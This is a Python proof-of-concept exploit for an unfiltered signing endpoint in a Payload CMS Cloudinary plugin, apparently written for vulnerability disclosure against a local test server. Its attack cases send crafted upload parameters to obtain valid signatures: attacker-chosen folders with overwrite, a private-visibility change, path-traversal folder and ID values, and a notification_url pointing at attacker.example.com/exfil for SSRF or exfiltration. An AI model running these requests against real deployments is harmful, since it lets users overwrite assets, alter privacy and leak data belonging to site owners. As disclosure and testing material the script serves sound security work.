#!/usr/bin/env python3
"""
PoC for VULN-002: Arbitrary Cloudinary API Parameter Signing
Package : @jhb.software/payload-cloudinary-plugin v0.3.4
File    : cloudinary/src/getGenerateSignature.ts:55
CWE     : CWE-347 — Improper Verification of Cryptographic Signature
CVSS    : 7.1 (High) AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Vulnerable sink (exact line from source):
    const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)

body.paramsToSign is passed directly with no allowlist, no key filtering, and no
folder/public_id/overwrite enforcement. Any authenticated user can obtain a valid
Cloudinary HMAC-SHA1 signature for arbitrary upload parameters.

Usage:
    python3 poc.py [--server http://127.0.0.1:3000]
"""

import argparse
import hashlib
import json
import sys
import time
import urllib.error
import urllib.request

# Must match API_SECRET in server.js
API_SECRET = "poc-fake-api-secret-12345"

# Simulates a low-privilege authenticated user session
AUTH_HEADER = "Bearer low-privilege-user-token"

GREEN = "\033[32m"
RED = "\033[31m"
YELLOW = "\033[33m"
RESET = "\033[0m"


# ---------------------------------------------------------------------------
# Cloudinary signature algorithm — Python re-implementation of
#   cloudinary.utils.api_sign_request(params, api_secret)
# Algorithm: SHA-1( sorted_k=v_pairs + api_secret )
# ---------------------------------------------------------------------------
def cloudinary_sign(params: dict, api_secret: str) -> str:
    """Return the expected Cloudinary HMAC-SHA1 signature for params."""
    filtered = {k: v for k, v in params.items() if v not in (None, "")}
    sorted_pairs = sorted(filtered.items())
    param_str = "&".join(f"{k}={v}" for k, v in sorted_pairs)
    to_sign = param_str + api_secret
    return hashlib.sha1(to_sign.encode("utf-8")).hexdigest()


# ---------------------------------------------------------------------------
# HTTP helpers
# ---------------------------------------------------------------------------
def post_sign(server: str, params: dict) -> tuple[int, dict]:
    """
    POST {"paramsToSign": params} to the signing endpoint.
    Returns (http_status, response_dict).
    Raises urllib.error.HTTPError for 4xx/5xx.
    """
    body = json.dumps({"paramsToSign": params}).encode("utf-8")
    req = urllib.request.Request(
        f"{server}/api/cloudinary-generate-signature?collectionSlug=media",
        data=body,
        headers={
            "Content-Type": "application/json",
            "Authorization": AUTH_HEADER,
        },
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=10) as resp:
        return resp.status, json.loads(resp.read())


# ---------------------------------------------------------------------------
# Test runner
# ---------------------------------------------------------------------------
def run_case(server: str, label: str, params: dict) -> bool:
    """
    Execute one signing test case and verify:
      1. HTTP 200 is returned (endpoint did NOT reject the params).
      2. The returned signature is mathematically correct.
    Returns True if both conditions hold (vulnerability confirmed for this case).
    """
    print(f"\n  [{label}]")
    print(f"  paramsToSign : {json.dumps(params)}")

    try:
        status, data = post_sign(server, params)
    except urllib.error.HTTPError as exc:
        body = exc.read().decode(errors="replace")
        print(f"  HTTP {exc.code} — request rejected: {body}")
        print(f"  {RED}UNEXPECTED REJECTION{RESET} — allowlist may be present for this case")
        return False
    except Exception as exc:
        print(f"  Connection error: {exc}")
        return False

    sig_returned = data.get("signature", "")
    sig_expected = cloudinary_sign(params, API_SECRET)
    sig_match = sig_returned == sig_expected

    print(f"  HTTP status  : {status}")
    print(f"  Signature    : {sig_returned}")
    print(f"  Expected sig : {sig_expected}")
    print(f"  Sig valid    : {'YES — mathematically correct HMAC-SHA1' if sig_match else 'NO — mismatch'}")

    if status == 200 and sig_match:
        print(f"  {GREEN}CONFIRMED{RESET} — endpoint signed arbitrary params without rejection")
        return True
    else:
        print(f"  {RED}UNEXPECTED{RESET} — status={status}, sig_match={sig_match}")
        return False


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
    parser = argparse.ArgumentParser(description="VULN-002 PoC")
    parser.add_argument("--server", default="http://127.0.0.1:3000", help="Target server URL")
    args = parser.parse_args()
    server = args.server.rstrip("/")

    ts = str(int(time.time()))

    print("=" * 70)
    print("VULN-002 PoC — Arbitrary Cloudinary API Parameter Signing")
    print(f"Target  : {server}")
    print(f"Vuln    : getGenerateSignature.ts:55 — no paramsToSign allowlist")
    print(f"Auth    : {AUTH_HEADER!r}  (low-privilege user simulation)")
    print("=" * 70)

    # ------------------------------------------------------------------
    # Attack scenarios
    # ------------------------------------------------------------------
    # Each case passes paramsToSign that the plugin should REJECT but does NOT.
    # A correctly patched implementation would return 4xx for cases 2-5.
    # ------------------------------------------------------------------
    cases = [
        (
            "CASE-1: Legitimate params (baseline — should always succeed)",
            {"timestamp": ts, "folder": "media", "public_id": "user-upload"},
        ),
        (
            "CASE-2: Attacker-controlled folder + overwrite=true",
            {
                "timestamp": ts,
                "folder": "attacker-controlled",
                "public_id": "overwrite-target",
                "overwrite": "true",
            },
        ),
        (
            "CASE-3: type=private — changes upload visibility",
            {
                "timestamp": ts,
                "type": "private",
                "public_id": "admin-document",
            },
        ),
        (
            "CASE-4: notification_url — potential SSRF / data exfiltration",
            {
                "timestamp": ts,
                "folder": "media",
                "notification_url": "http://attacker.example.com/exfil",
            },
        ),
        (
            "CASE-5: folder path traversal + invalidate=true",
            {
                "timestamp": ts,
                "folder": "../../../../admin-assets",
                "public_id": "../../../sensitive",
                "invalidate": "true",
            },
        ),
    ]

    results = []
    for label, params in cases:
        results.append(run_case(server, label, params))

    passed = sum(results)
    total = len(results)

    print("\n" + "=" * 70)
    print(f"Results : {passed}/{total} cases confirmed")

    # Cases 1-5 all passing means the vulnerability is proven:
    # the endpoint signs ANY paramsToSign regardless of content.
    if all(results):
        print(f"\n{GREEN}VERDICT: PASS — VULN-002 CONFIRMED{RESET}")
        print(
            "All 5 attack scenarios returned HTTP 200 with a mathematically valid"
            " Cloudinary HMAC-SHA1 signature."
        )
        print(
            "The plugin endpoint signs arbitrary upload parameters without any"
            " allowlist, folder enforcement, or overwrite/type restriction."
        )
        print(
            "Impact: any authenticated Payload user can mint valid Cloudinary"
            " signatures for arbitrary parameters, enabling asset replacement,"
            " privacy changes, and potential SSRF via notification_url."
        )
        sys.exit(0)
    elif results[0]:
        failed = [cases[i][0] for i, r in enumerate(results) if not r]
        print(f"\n{YELLOW}VERDICT: PARTIAL — baseline succeeded but some cases failed{RESET}")
        print(f"Failed cases: {failed}")
        sys.exit(2)
    else:
        print(f"\n{RED}VERDICT: FAIL — server not reachable or baseline request failed{RESET}")
        sys.exit(1)


if __name__ == "__main__":
    main()